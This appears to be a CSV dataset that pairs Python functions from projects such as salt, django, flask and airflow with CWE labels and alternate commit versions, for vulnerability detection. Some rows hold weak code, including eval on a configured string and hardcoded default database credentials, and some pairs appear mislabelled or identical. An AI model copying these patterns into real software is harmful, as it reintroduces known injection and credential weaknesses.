            errMsg += ""Because of a considerable chance of false-positive case ""
            errMsg += ""you are advised to rerun with switch '--flush-session'""
            logger.critical(errMsg)
            raise SystemExit

        elif ""AttributeError: 'module' object has no attribute 'F_GETFD'"" in excMsg:
            errMsg = ""invalid runtime (\""%s\"") "" % excMsg.split(""Error: "")[-1].strip()
            errMsg += ""(Reference: 'https://stackoverflow.com/a/38841364' & 'https://bugs.python.org/issue24944#msg249231')""
            logger.critical(errMsg)
            raise SystemExit

        elif ""bad marshal data (unknown type code)"" in excMsg:
            match = re.search(r""\s*(.+)\s+ValueError"", excMsg)
            errMsg = ""one of your .pyc files are corrupted%s"" % ("" ('%s')"" % match.group(1) if match else """")
            errMsg += "". Please delete .pyc files on your system to fix the problem""
            logger.critical(errMsg)
            raise SystemExit

        for match in re.finditer(r'File ""(.+?)"", line', excMsg):
            file_ = match.group(1)
            try:
                file_ = os.path.relpath(file_, os.path.dirname(__file__))
            except ValueError:
                pass
            file_ = file_.replace(""\\"", '/')
            if ""../"" in file_:
                file_ = re.sub(r""(\.\./)+"", '/', file_)
            else:
                file_ = file_.lstrip('/')
            file_ = re.sub(r""/{2,}"", '/', file_)
            excMsg = excMsg.replace(match.group(1), file_)

        errMsg = maskSensitiveData(errMsg)
        excMsg = maskSensitiveData(excMsg)

        if conf.get(""api"") or not valid:
            logger.critical(""%s\n%s"" % (errMsg, excMsg))
        else:
            logger.critical(errMsg)
            dataToStdout(""%s\n"" % setColor(excMsg.strip(), level=logging.CRITICAL))
            createGithubIssue(errMsg, excMsg)

    finally:
        kb.threadContinue = False

        if getDaysFromLastUpdate() > LAST_UPDATE_NAGGING_DAYS:
            warnMsg = ""your sqlmap version is outdated""
            logger.warn(warnMsg)

        if conf.get(""showTime""):
            dataToStdout(""\n[*] ending @ %s\n\n"" % time.strftime(""%X /%Y-%m-%d/""), forceOutput=True)

        kb.threadException = True

        if kb.get(""tempDir""):
            for prefix in (MKSTEMP_PREFIX.IPC, MKSTEMP_PREFIX.TESTING, MKSTEMP_PREFIX.COOKIE_JAR, MKSTEMP_PREFIX.BIG_ARRAY):
                for filepath in glob.glob(os.path.join(kb.tempDir, ""%s*"" % prefix)):
                    try:
                        os.remove(filepath)
                    except OSError:
                        pass

            if not filterNone(filepath for filepath in glob.glob(os.path.join(kb.tempDir, '*')) if not any(filepath.endswith(_) for _ in ("".lock"", "".exe"", "".so"", '_'))):  # ignore junk files
                try:
                    shutil.rmtree(kb.tempDir, ignore_errors=True)
                except OSError:
                    pass

        if conf.get(""hashDB""):
            conf.hashDB.flush(True)
            conf.hashDB.close()         # NOTE: because of PyPy

        if conf.get(""harFile""):
            try:
                with openFile(conf.harFile, ""w+b"") as f:
                    json.dump(conf.httpCollector.obtain(), fp=f, indent=4, separators=(',', ': '))
            except SqlmapBaseException as ex:
                errMsg = getSafeExString(ex)
                logger.critical(errMsg)

        if conf.get(""api""):
            conf.databaseCursor.disconnect()

        if conf.get(""dumper""):
            conf.dumper.flush()

        # short delay for thread finalization
        _ = time.time()
        while threading.active_count() > 1 and (time.time() - _) > THREAD_FINALIZATION_TIMEOUT:
            time.sleep(0.01)

        if cmdLineOptions.get(""sqlmapShell""):
            cmdLineOptions.clear()
            conf.clear()
            kb.clear()
            conf.disableBanner = True
            main()"
,UNKNOWN,UNKNOWN,pkg/tests/integration/test_help.py,1,"def test_help(install_salt):
    """"""
    Test --help works for all salt cmds
    """"""
    for cmd in install_salt.binary_paths.values():
        # TODO: add back salt-cloud and salt-ssh when its fixed
        cmd = [str(x) for x in cmd]
        if any(x in [""salt-cloud"", ""salt-ssh""] for x in cmd):
            assert True
        elif ""python"" in cmd[0]:
            ret = install_salt.proc.run(*cmd, ""--version"")
            assert ""Python"" in ret.stdout
        else:
            ret = install_salt.proc.run(*cmd, ""--help"")
            assert ""Usage"" in ret.stdout
            assert ret.returncode == 0",CWE-703,saltstack/salt,a44601922111c1d17da2083d1b3f9523b0978c51,"def test_help(install_salt):
    """"""
    Test --help works for all salt cmds
    """"""
    for cmd in install_salt.binary_paths.values():
        if ""salt-cloud"" in cmd:
            assert True
        elif ""salt-ssh"" in cmd:
            assert True
        else:
            ret = install_salt.proc.run(*cmd, ""--help"")
            assert ""Usage"" in ret.stdout
            assert ret.returncode == 0"
,UNKNOWN,UNKNOWN,salt/modules/mongodb.py,1,"def user_list(user=None, password=None, host=None, port=None, database='admin'):
    '''
    List users of a Mongodb database

    CLI Example:

    .. code-block:: bash

        salt '*' mongodb.user_list <user> <password> <host> <port> <database>
    '''
    conn = _connect(user, password, host, port)
    if not conn:
        return 'Failed to connect to mongo database'

    try:
        log.info('Listing users')
        mdb = pymongo.database.Database(conn, database)

        output = []
        mongodb_version = mdb.eval('db.version()')

        if StrictVersion(mongodb_version) >= StrictVersion('2.6'):
            for user in mdb.eval('db.getUsers()'):
                output.append([
                    ('user', user['user']),
                    ('roles', user['roles'])
                ])
        else:
            for user in mdb.system.users.find():
                output.append([
                    ('user', user['user']),
                    ('readOnly', user.get('readOnly', 'None'))
                ])
        return output

    except pymongo.errors.PyMongoError as err:
        log.error(
            'Listing users failed with error: {0}'.format(
                str(err)
            )
        )
        return str(err)",CWE-94,saltstack/salt,d8b47a6d2713ac923d363b0a6a91d499a0d79424,"def user_list(user=None, password=None, host=None, port=None, database='admin'):
    '''
    List users of a Mongodb database

    CLI Example:

    .. code-block:: bash

        salt '*' mongodb.user_list <user> <password> <host> <port> <database>
    '''
    conn = _connect(user, password, host, port)
    if not conn:
        return 'Failed to connect to mongo database'

    try:
        log.info('Listing users')
        mdb = pymongo.database.Database(conn, database)

        output = []
        mongodb_version = mdb.eval('db.version()')

        if StrictVersion(mongodb_version) >= StrictVersion('2.6'):
            for user in mdb.eval('db.getUsers()'):
                output.append([
                    ('user', user['user']),
                    ('roles', user['roles'])
                ])
        else:
            for user in mdb.eval('db.getUsers()'):
                output.append([
                    ('user', user['user']),
                    ('readOnly', user.get('readOnly', 'None'))
                ])
        return output

    except pymongo.errors.PyMongoError as err:
        log.error(
            'Listing users failed with error: {0}'.format(
                str(err)
            )
        )
        return str(err)"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/sessions.py,0,"def get(self, key, default=None):
        self.accessed = True
        return super(SecureCookieSession, self).get(key, default)",,pallets/flask,5d9dd0b379a63d5a90265f2469f86fbd81b05853,"def get(self, key, default=None):
        self.accessed = True
        return super(SecureCookieSession, self).get(key, default)"
,UNKNOWN,UNKNOWN,tests/pytests/unit/states/zabbix/test_host.py,1,"def test_update_a_hostinterface(basic_host_configuration, existing_host_responses):
    """"""
    Tests the update of a current hostinterface of a host.
    """"""
    host, groups, _, kwargs, _ = basic_host_configuration
    (
        host_get_output,
        hostgroup_get_output,
        hostinterface_get_output,
        host_inventory_get_output,
    ) = existing_host_responses

    interfaces = [
        OrderedDict(
            [
                (
                    ""basic_interface"",
                    [
                        OrderedDict([(""dns"", ""new_host"")]),
                        OrderedDict([(""type"", ""agent"")]),
                        OrderedDict([(""useip"", False)]),
                    ],
                ),
            ]
        )
    ]
    host_exists_output = True
    hostinterface_update_output = ""29""

    ret = {
        ""changes"": {
            ""interfaces"": (
                ""[{'type': '1', 'main': '1', 'useip': '0', 'ip': '', 'dns': 'new_host',""
                "" 'port': '10050', 'details': []}]""
            )
        },
        ""comment"": ""Host new_host updated."",
        ""name"": ""new_host"",
        ""result"": True,
    }

    mock_hostgroup_get = MagicMock(return_value=hostgroup_get_output)
    mock_host_exists = MagicMock(return_value=host_exists_output)
    mock_host_get = MagicMock(return_value=host_get_output)
    mock_hostinterface_get = MagicMock(return_value=hostinterface_get_output)
    mock_host_inventory_get = MagicMock(return_value=host_inventory_get_output)
    mock_hostinterface_update = MagicMock(return_value=hostinterface_update_output)
    with patch.dict(
        zabbix_host.__salt__,
        {
            ""zabbix.hostgroup_get"": mock_hostgroup_get,
            ""zabbix.host_exists"": mock_host_exists,
            ""zabbix.host_get"": mock_host_get,
            ""zabbix.hostinterface_get"": mock_hostinterface_get,
            ""zabbix.host_inventory_get"": mock_host_inventory_get,
            ""zabbix.hostinterface_update"": mock_hostinterface_update,
        },
    ):
        # Blame Python 3.5 support for all this black magic
        host_present_ret = zabbix_host.present(host, groups, interfaces, **kwargs)
        host_present_changes = ast.literal_eval(
            host_present_ret[""changes""][""interfaces""]
        )
        assert host_present_changes == ast.literal_eval(ret[""changes""][""interfaces""])
        assert host_present_ret[""comment""] == ""Host new_host updated.""
        assert host_present_ret[""name""] == ""new_host""
        assert host_present_ret[""result""] is True
        # When Python 3.5 is gone, the following line does the job:
        # assert zabbix_host.present(host, groups, interfaces, **kwargs) == ret
        mock_hostinterface_update.assert_called_with(
            interfaceid=""29"",
            ip="""",
            dns=""new_host"",
            useip=""0"",
            type=""1"",
            main=""1"",
            port=""10050"",
            details=[],
            _connection_password=""XXXXXXXXXX"",
            _connection_url=""http://XXXXXXXXX/zabbix/api_jsonrpc.php"",
            _connection_user=""XXXXXXXXXX"",
        )","CWE-259, CWE-703",saltstack/salt,8abdd659087504a45cf0d720c018c6ac28b3937f,"def test_update_a_hostinterface(basic_host_configuration, existing_host_responses):
    """"""
    Tests the update of a current hostinterface of a host.
    """"""
    host, groups, _, kwargs, _ = basic_host_configuration
    (
        host_get_output,
        hostgroup_get_output,
        hostinterface_get_output,
        host_inventory_get_output,
    ) = existing_host_responses

    interfaces = [
        OrderedDict(
            [
                (
                    ""basic_interface"",
                    [
                        OrderedDict([(""dns"", ""new_host"")]),
                        OrderedDict([(""type"", ""agent"")]),
                        OrderedDict([(""useip"", False)]),
                    ],
                ),
            ]
        )
    ]
    host_exists_output = True
    hostinterface_update_output = ""29""

    ret = {
        ""changes"": {
            ""interfaces"": ""[{'type': '1', 'main': '1', 'useip': '0', 'ip': '', 'dns': 'new_host', 'port': '10050', 'details': []}]""
        },
        ""comment"": ""Host new_host updated."",
        ""name"": ""new_host"",
        ""result"": True,
    }

    mock_hostgroup_get = MagicMock(return_value=hostgroup_get_output)
    mock_host_exists = MagicMock(return_value=host_exists_output)
    mock_host_get = MagicMock(return_value=host_get_output)
    mock_hostinterface_get = MagicMock(return_value=hostinterface_get_output)
    mock_host_inventory_get = MagicMock(return_value=host_inventory_get_output)
    mock_hostinterface_update = MagicMock(return_value=hostinterface_update_output)
    with patch.dict(
        zabbix_host.__salt__,
        {
            ""zabbix.hostgroup_get"": mock_hostgroup_get,
            ""zabbix.host_exists"": mock_host_exists,
            ""zabbix.host_get"": mock_host_get,
            ""zabbix.hostinterface_get"": mock_hostinterface_get,
            ""zabbix.host_inventory_get"": mock_host_inventory_get,
            ""zabbix.hostinterface_update"": mock_hostinterface_update,
        },
    ):
        # Blame Python 3.5 support for all this black magic
        host_present_ret = zabbix_host.present(host, groups, interfaces, **kwargs)
        host_present_changes = ast.literal_eval(
            host_present_ret[""changes""][""interfaces""]
        )
        assert host_present_changes == ast.literal_eval(ret[""changes""][""interfaces""])
        assert host_present_ret[""comment""] == ""Host new_host updated.""
        assert host_present_ret[""name""] == ""new_host""
        assert host_present_ret[""result""] is True
        # When Python 3.5 is gone, the following line does the job:
        # assert zabbix_host.present(host, groups, interfaces, **kwargs) == ret
        mock_hostinterface_update.assert_called_with(
            interfaceid=""29"",
            ip="""",
            dns=""new_host"",
            useip=""0"",
            type=""1"",
            main=""1"",
            port=""10050"",
            details=[],
            _connection_password=""XXXXXXXXXX"",
            _connection_url=""http://XXXXXXXXX/zabbix/api_jsonrpc.php"",
            _connection_user=""XXXXXXXXXX"",
        )"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/html/services/notebooks/handlers.py,0,"def patch(self, notebook_path):
        nbm = self.notebook_manager
        notebook_name, notebook_path = nbm.named_notebook_path(notebook_path)
        data = jsonapi.loads(self.request.body)
        model, response = nbm.change_notebook(data, notebook_name, notebook_path)
        self.set_status(response)
        self.finish(jsonapi.dumps(model))",,jupyter/notebook,1f04b487251e839e1487fe5dc44b8288e8ccc7e7,"def patch(self, notebook_path):
        nbm = self.notebook_manager
        notebook_name, notebook_path = nbm.named_notebook_path(notebook_path)
        data = jsonapi.loads(self.request.body)
        model = nbm.change_notebook(data, notebook_name, notebook_path)
        self.finish(jsonapi.dumps(model))"
,UNKNOWN,UNKNOWN,tests/unit/fileserver/test_roots.py,1,"def test_update_mtime_map(self):
        """"""
        Test that files with colons in the filename are properly handled in the
        mtime_map, and that they are properly identified as having changed.
        """"""
        mtime_map_path = os.path.join(self.opts[""cachedir""], ""roots"", ""mtime_map"")
        mtime_map_mock = mock_open(
            read_data={
                mtime_map_path: textwrap.dedent(
                    """"""\
                    /srv/salt/kleine_Datei.txt:1594263154.0469685
                    /srv/salt/große:Datei.txt:1594263160.9336357
                    """"""
                ),
            }
        )
        new_mtime_map = {
            ""/srv/salt/kleine_Datei.txt"": 1594263154.0469685,
            ""/srv/salt/große:Datei.txt"": 1594263261.0616212,
        }

        with patch(
            ""salt.fileserver.reap_fileserver_cache_dir"", MagicMock(return_value=True)
        ), patch(
            ""salt.fileserver.generate_mtime_map"", MagicMock(return_value=new_mtime_map)
        ), patch.dict(
            roots.__opts__, {""fileserver_events"": False}
        ), patch(
            ""salt.utils.files.fopen"", mtime_map_mock
        ):
            ret = roots.update()

        # Confirm the expected return from the function
        assert ret == {
            ""changed"": True,
            ""files"": {
                ""changed"": [""/srv/salt/große:Datei.txt""],
                ""removed"": [],
                ""added"": [],
            },
            ""backend"": ""roots"",
        }, ret

        # Confirm that the new values were written to the mtime_map. Sort both
        # lists of lines to account for variances in dictionary iteration order
        # between Python releases.
        lines_written = sorted(mtime_map_mock.write_calls())
        expected = sorted(
            [
                salt.utils.stringutils.to_bytes(
                    ""{key}:{val}\n"".format(key=key, val=val)
                )
                for key, val in new_mtime_map.items()
            ]
        )
        assert lines_written == expected, lines_written",CWE-703,saltstack/salt,ac4ecad325ddc822f0a00c534a0aa3491daf575e,"def test_update_mtime_map(self):
        """"""
        Test that files with colons in the filename are properly handled in the
        mtime_map, and that they are properly identified as having changed.
        """"""
        mtime_map_path = os.path.join(self.opts[""cachedir""], ""roots"", ""mtime_map"")
        mtime_map_mock = mock_open(
            read_data={
                mtime_map_path: textwrap.dedent(
                    """"""\
                    /srv/salt/kleine_Datei.txt:1594263154.0469685
                    /srv/salt/große:Datei.txt:1594263160.9336357
                    """"""
                ),
            }
        )
        new_mtime_map = {
            ""/srv/salt/kleine_Datei.txt"": 1594263154.0469685,
            ""/srv/salt/große:Datei.txt"": 1594263261.0616212,
        }

        with patch(
            ""salt.fileserver.reap_fileserver_cache_dir"", MagicMock(return_value=True)
        ), patch(
            ""salt.fileserver.generate_mtime_map"", MagicMock(return_value=new_mtime_map)
        ), patch.dict(
            roots.__opts__, {""fileserver_events"": False}
        ), patch(
            ""salt.utils.files.fopen"", mtime_map_mock
        ):
            ret = roots.update()

        # Confirm the expected return from the function
        assert ret == {
            ""changed"": True,
            ""files"": {
                ""changed"": [""/srv/salt/große:Datei.txt""],
                ""removed"": [],
                ""added"": [],
            },
            ""backend"": ""roots"",
        }, ret

        # Confirm that the new values were written to the mtime_map. Sort both
        # lists of lines to account for variances in dictionary iteration order
        # between Python releases.
        lines_written = sorted(mtime_map_mock.write_calls())
        expected = sorted(
            [
                salt.utils.stringutils.to_bytes(""{key}:{val}\n"".format(key=key, val=val))
                for key, val in new_mtime_map.items()
            ]
        )
        assert lines_written == expected, lines_written"
,UNKNOWN,UNKNOWN,django/db/backends/__init__.py,1,"def combine_expression(self, connector, sub_expressions):
        """"""Combine a list of subexpressions into a single expression, using
        the provided connecting operator. This is required because operators
        can vary between backends (e.g., Oracle with %% and &) and between
        subexpression types (e.g., date expressions)
        """"""
        conn = ' %s ' % connector
        return conn.join(sub_expressions)",CWE-703,django/django,a8b1861fc4d0a48b4879af803bba094eef145017,"def combine_expression(self, connector, sub_expressions):
        """"""Combine a list of subexpressions into a single expression, using
        the provided connecting operator. This is required because operators
        can vary between backends (e.g., Oracle with %% and &) and between
        subexpression types (e.g., date expressions)
        """"""
        if connector == 'NOT':
            assert len(sub_expressions) == 1
            return 'NOT (%s)' % sub_expressions[0]
        conn = ' %s ' % connector
        return conn.join(sub_expressions)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/data.py,0,"def _fetch_dbfs(uri, local_path):
    _logger.info(
        ""=== Downloading DBFS file %s to local path %s ==="", uri, os.path.abspath(local_path)
    )
    process._exec_cmd(cmd=[""databricks"", ""fs"", ""cp"", ""-r"", uri, local_path])",,mlflow/mlflow,c98313482168137e39a6e6b0ed7169de5bfe0ba5,"def _fetch_dbfs(uri, local_path):
    _logger.info(
        ""=== Downloading DBFS file %s to local path %s ==="", uri, os.path.abspath(local_path)
    )
    process.exec_cmd(cmd=[""databricks"", ""fs"", ""cp"", ""-r"", uri, local_path])"
,UNKNOWN,UNKNOWN,django/db/backends/sqlite3/features.py,1,"def supports_json_field(self):
        with self.connection.cursor() as cursor:
            try:
                with transaction.atomic(self.connection.alias):
                    cursor.execute('SELECT JSON(\'{""a"": ""b""}\')')
            except OperationalError:
                return False
        return True",CWE-89,django/django,48b4bae983a1f9a73624fe62ef5bd1130b0dba39,"def supports_json_field(self):
        with self.connection.cursor() as cursor:
            try:
                with transaction.atomic(self.connection.alias):
                    cursor.execute('SELECT JSON(\'{""a"": ""b""}\')')
            except OperationalError:
                return False
        return True"
,UNKNOWN,UNKNOWN,salt/auth/django.py,1,"def django_auth_setup():
    '''
    Prepare the connection to the Django authentication framework
    '''
    global django_auth_class

    if django_auth_class is not None:
        return

    # Versions 1.7 and later of Django don't pull models until
    # they are needed.  When using framework facilities outside the
    # web application container we need to run django.setup() to
    # get the model definitions cached.
    if '^model' in __opts__['external_auth']['django']:
        django_model_fullname = __opts__['external_auth']['django']['^model']
        django_model_name = django_model_fullname.split('.')[-1]
        django_module_name = '.'.join(django_model_fullname.split('.')[0:-1])

        __import__(django_module_name, globals(), locals(), 'SaltExternalAuthModel')
        django_auth_class_str = 'django_auth_module.{0}'.format(django_model_name)
        django_auth_class = eval(django_auth_class_str)  # pylint: disable=W0123

    if django.VERSION >= (1, 7):
        django.setup()",CWE-94,saltstack/salt,0c5ce48c38f77e5de61f39a0fbc024a789d715db,"def django_auth_setup():
    '''
    Prepare the connection to the Django authentication framework
    '''

    # Versions 1.7 and later of Django don't pull models until
    # they are needed.  When using framework facilities outside the
    # web application container we need to run django.setup() to
    # get the model definitions cached.
    if '^model' in __opts__['external_auth']['django']:
        django_model_fullname = __opts__['external_auth']['django']['^model']
        django_model_name = django_model_fullname.split('.')[-1]
        django_module_name = '.'.join(django_model_fullname.split('.')[0:-1])

        __import__(django_module_name, globals(), locals(), 'SaltExternalAuthModel')
        django_auth_class_str = 'django_auth_module.{0}'.format(django_model_name)
        django_auth_class = eval(django_auth_class_str)  # pylint: disable=W0123

    if django.VERSION >= (1, 7):
        django.setup()

    return django_auth_class"
,UNKNOWN,UNKNOWN,django/contrib/formtools/wizard/views.py,1,"def get_initkwargs(cls, form_list=None, initial_dict=None,
        instance_dict=None, condition_dict=None, *args, **kwargs):
        """"""
        Creates a dict with all needed parameters for the form wizard instances.

        * `form_list` - is a list of forms. The list entries can be single form
          classes or tuples of (`step_name`, `form_class`). If you pass a list
          of forms, the wizardview will convert the class list to
          (`zero_based_counter`, `form_class`). This is needed to access the
          form for a specific step.
        * `initial_dict` - contains a dictionary of initial data dictionaries.
          The key should be equal to the `step_name` in the `form_list` (or
          the str of the zero based counter - if no step_names added in the
          `form_list`)
        * `instance_dict` - contains a dictionary whose values are model
          instances if the step is based on a ``ModelForm`` and querysets if
          the step is based on a ``ModelFormSet``. The key should be equal to
          the `step_name` in the `form_list`. Same rules as for `initial_dict`
          apply.
        * `condition_dict` - contains a dictionary of boolean values or
          callables. If the value of for a specific `step_name` is callable it
          will be called with the wizardview instance as the only argument.
          If the return value is true, the step's form will be used.
        """"""

        kwargs.update({
            'initial_dict': initial_dict or kwargs.pop('initial_dict',
                getattr(cls, 'initial_dict', None)) or {},
            'instance_dict': instance_dict or kwargs.pop('instance_dict',
                getattr(cls, 'instance_dict', None)) or {},
            'condition_dict': condition_dict or kwargs.pop('condition_dict',
                getattr(cls, 'condition_dict', None)) or {}
        })

        form_list = form_list or kwargs.pop('form_list',
            getattr(cls, 'form_list', None)) or []

        computed_form_list = OrderedDict()

        assert len(form_list) > 0, 'at least one form is needed'

        # walk through the passed form list
        for i, form in enumerate(form_list):
            if isinstance(form, (list, tuple)):
                # if the element is a tuple, add the tuple to the new created
                # sorted dictionary.
                computed_form_list[six.text_type(form[0])] = form[1]
            else:
                # if not, add the form with a zero based counter as unicode
                computed_form_list[six.text_type(i)] = form

        # walk through the new created list of forms
        for form in six.itervalues(computed_form_list):
            if issubclass(form, formsets.BaseFormSet):
                # if the element is based on BaseFormSet (FormSet/ModelFormSet)
                # we need to override the form variable.
                form = form.form
            # check if any form contains a FileField, if yes, we need a
            # file_storage added to the wizardview (by subclassing).
            for field in six.itervalues(form.base_fields):
                if (isinstance(field, forms.FileField) and
                        not hasattr(cls, 'file_storage')):
                    raise NoFileStorageConfigured(
                        ""You need to define 'file_storage' in your ""
                        ""wizard view in order to handle file uploads."")

        # build the kwargs for the wizardview instances
        kwargs['form_list'] = computed_form_list
        return kwargs",CWE-703,django/django,b289fcf1bfeaa717ed465b2529a275b61dc02d92,"def get_initkwargs(cls, form_list=None, initial_dict=None,
        instance_dict=None, condition_dict=None, *args, **kwargs):
        """"""
        Creates a dict with all needed parameters for the form wizard instances.

        * `form_list` - is a list of forms. The list entries can be single form
          classes or tuples of (`step_name`, `form_class`). If you pass a list
          of forms, the wizardview will convert the class list to
          (`zero_based_counter`, `form_class`). This is needed to access the
          form for a specific step.
        * `initial_dict` - contains a dictionary of initial data dictionaries.
          The key should be equal to the `step_name` in the `form_list` (or
          the str of the zero based counter - if no step_names added in the
          `form_list`)
        * `instance_dict` - contains a dictionary whose values are model
          instances if the step is based on a ``ModelForm`` and querysets if
          the step is based on a ``ModelFormSet``. The key should be equal to
          the `step_name` in the `form_list`. Same rules as for `initial_dict`
          apply.
        * `condition_dict` - contains a dictionary of boolean values or
          callables. If the value of for a specific `step_name` is callable it
          will be called with the wizardview instance as the only argument.
          If the return value is true, the step's form will be used.
        """"""

        kwargs.update({
            'initial_dict': initial_dict or kwargs.pop('initial_dict',
                getattr(cls, 'initial_dict', None)) or {},
            'instance_dict': instance_dict or kwargs.pop('instance_dict',
                getattr(cls, 'instance_dict', None)) or {},
            'condition_dict': condition_dict or kwargs.pop('condition_dict',
                getattr(cls, 'condition_dict', None)) or {}
        })

        form_list = form_list or kwargs.pop('form_list',
            getattr(cls, 'form_list', None)) or []

        computed_form_list = OrderedDict()

        assert len(form_list) > 0, 'at least one form is needed'

        # walk through the passed form list
        for i, form in enumerate(form_list):
            if isinstance(form, (list, tuple)):
                # if the element is a tuple, add the tuple to the new created
                # sorted dictionary.
                computed_form_list[six.text_type(form[0])] = form[1]
            else:
                # if not, add the form with a zero based counter as unicode
                computed_form_list[six.text_type(i)] = form

        # walk through the new created list of forms
        for form in six.itervalues(computed_form_list):
            if issubclass(form, formsets.BaseFormSet):
                # if the element is based on BaseFormSet (FormSet/ModelFormSet)
                # we need to override the form variable.
                form = form.form
            # check if any form contains a FileField, if yes, we need a
            # file_storage added to the wizardview (by subclassing).
            for field in six.itervalues(form.base_fields):
                if (isinstance(field, forms.FileField) and
                        not hasattr(cls, 'file_storage')):
                    raise NoFileStorageConfigured(
                            ""You need to define 'file_storage' in your ""
                            ""wizard view in order to handle file uploads."")

        # build the kwargs for the wizardview instances
        kwargs['form_list'] = computed_form_list
        return kwargs"
,UNKNOWN,UNKNOWN,airflow/utils/db.py,1,"def initdb(rbac=False):
    session = settings.Session()

    from airflow import models
    upgradedb()

    merge_conn(
        models.Connection(
            conn_id='airflow_db', conn_type='mysql',
            host='mysql', login='root', password='',
            schema='airflow'))
    merge_conn(
        models.Connection(
            conn_id='beeline_default', conn_type='beeline', port=""10000"",
            host='localhost', extra=""{\""use_beeline\"": true, \""auth\"": \""\""}"",
            schema='default'))
    merge_conn(
        models.Connection(
            conn_id='bigquery_default', conn_type='google_cloud_platform',
            schema='default'))
    merge_conn(
        models.Connection(
            conn_id='local_mysql', conn_type='mysql',
            host='localhost', login='airflow', password='airflow',
            schema='airflow'))
    merge_conn(
        models.Connection(
            conn_id='presto_default', conn_type='presto',
            host='localhost',
            schema='hive', port=3400))
    merge_conn(
        models.Connection(
            conn_id='google_cloud_default', conn_type='google_cloud_platform',
            schema='default',))
    merge_conn(
        models.Connection(
            conn_id='hive_cli_default', conn_type='hive_cli',
            schema='default',))
    merge_conn(
        models.Connection(
            conn_id='hiveserver2_default', conn_type='hiveserver2',
            host='localhost',
            schema='default', port=10000))
    merge_conn(
        models.Connection(
            conn_id='metastore_default', conn_type='hive_metastore',
            host='localhost', extra=""{\""authMechanism\"": \""PLAIN\""}"",
            port=9083))
    merge_conn(
        models.Connection(
            conn_id='mongo_default', conn_type='mongo',
            host='mongo', port=27017))
    merge_conn(
        models.Connection(
            conn_id='mysql_default', conn_type='mysql',
            login='root',
            schema='airflow',
            host='mysql'))
    merge_conn(
        models.Connection(
            conn_id='postgres_default', conn_type='postgres',
            login='postgres',
            password='airflow',
            schema='airflow',
            host='postgres'))
    merge_conn(
        models.Connection(
            conn_id='sqlite_default', conn_type='sqlite',
            host='/tmp/sqlite_default.db'))
    merge_conn(
        models.Connection(
            conn_id='http_default', conn_type='http',
            host='https://www.google.com/'))
    merge_conn(
        models.Connection(
            conn_id='mssql_default', conn_type='mssql',
            host='localhost', port=1433))
    merge_conn(
        models.Connection(
            conn_id='vertica_default', conn_type='vertica',
            host='localhost', port=5433))
    merge_conn(
        models.Connection(
            conn_id='wasb_default', conn_type='wasb',
            extra='{""sas_token"": null}'))
    merge_conn(
        models.Connection(
            conn_id='webhdfs_default', conn_type='hdfs',
            host='localhost', port=50070))
    merge_conn(
        models.Connection(
            conn_id='ssh_default', conn_type='ssh',
            host='localhost'))
    merge_conn(
        models.Connection(
            conn_id='sftp_default', conn_type='sftp',
            host='localhost', port=22, login='airflow',
            extra='''
                {""key_file"": ""~/.ssh/id_rsa"", ""no_host_key_check"": true}
            '''))
    merge_conn(
        models.Connection(
            conn_id='fs_default', conn_type='fs',
            extra='{""path"": ""/""}'))
    merge_conn(
        models.Connection(
            conn_id='aws_default', conn_type='aws',
            extra='{""region_name"": ""us-east-1""}'))
    merge_conn(
        models.Connection(
            conn_id='spark_default', conn_type='spark',
            host='yarn', extra='{""queue"": ""root.default""}'))
    merge_conn(
        models.Connection(
            conn_id='druid_broker_default', conn_type='druid',
            host='druid-broker', port=8082, extra='{""endpoint"": ""druid/v2/sql""}'))
    merge_conn(
        models.Connection(
            conn_id='druid_ingest_default', conn_type='druid',
            host='druid-overlord', port=8081, extra='{""endpoint"": ""druid/indexer/v1/task""}'))
    merge_conn(
        models.Connection(
            conn_id='redis_default', conn_type='redis',
            host='redis', port=6379,
            extra='{""db"": 0}'))
    merge_conn(
        models.Connection(
            conn_id='sqoop_default', conn_type='sqoop',
            host='rmdbs', extra=''))
    merge_conn(
        models.Connection(
            conn_id='emr_default', conn_type='emr',
            extra='''
                {   ""Name"": ""default_job_flow_name"",
                    ""LogUri"": ""s3://my-emr-log-bucket/default_job_flow_location"",
                    ""ReleaseLabel"": ""emr-4.6.0"",
                    ""Instances"": {
                        ""Ec2KeyName"": ""mykey"",
                        ""Ec2SubnetId"": ""somesubnet"",
                        ""InstanceGroups"": [
                            {
                                ""Name"": ""Master nodes"",
                                ""Market"": ""ON_DEMAND"",
                                ""InstanceRole"": ""MASTER"",
                                ""InstanceType"": ""r3.2xlarge"",
                                ""InstanceCount"": 1
                            },
                            {
                                ""Name"": ""Slave nodes"",
                                ""Market"": ""ON_DEMAND"",
                                ""InstanceRole"": ""CORE"",
                                ""InstanceType"": ""r3.2xlarge"",
                                ""InstanceCount"": 1
                            }
                        ],
                        ""TerminationProtected"": false,
                        ""KeepJobFlowAliveWhenNoSteps"": false
                    },
                    ""Applications"":[
                        { ""Name"": ""Spark"" }
                    ],
                    ""VisibleToAllUsers"": true,
                    ""JobFlowRole"": ""EMR_EC2_DefaultRole"",
                    ""ServiceRole"": ""EMR_DefaultRole"",
                    ""Tags"": [
                        {
                            ""Key"": ""app"",
                            ""Value"": ""analytics""
                        },
                        {
                            ""Key"": ""environment"",
                            ""Value"": ""development""
                        }
                    ]
                }
            '''))
    merge_conn(
        models.Connection(
            conn_id='databricks_default', conn_type='databricks',
            host='localhost'))
    merge_conn(
        models.Connection(
            conn_id='qubole_default', conn_type='qubole',
            host='localhost'))
    merge_conn(
        models.Connection(
            conn_id='segment_default', conn_type='segment',
            extra='{""write_key"": ""my-segment-write-key""}')),
    merge_conn(
        models.Connection(
            conn_id='azure_data_lake_default', conn_type='azure_data_lake',
            extra='{""tenant"": ""<TENANT>"", ""account_name"": ""<ACCOUNTNAME>"" }'))
    merge_conn(
        models.Connection(
            conn_id='cassandra_default', conn_type='cassandra',
            host='cassandra', port=9042))

    # Known event types
    KET = models.KnownEventType
    if not session.query(KET).filter(KET.know_event_type == 'Holiday').first():
        session.add(KET(know_event_type='Holiday'))
    if not session.query(KET).filter(KET.know_event_type == 'Outage').first():
        session.add(KET(know_event_type='Outage'))
    if not session.query(KET).filter(
            KET.know_event_type == 'Natural Disaster').first():
        session.add(KET(know_event_type='Natural Disaster'))
    if not session.query(KET).filter(
            KET.know_event_type == 'Marketing Campaign').first():
        session.add(KET(know_event_type='Marketing Campaign'))
    session.commit()

    dagbag = models.DagBag()
    # Save individual DAGs in the ORM
    for dag in dagbag.dags.values():
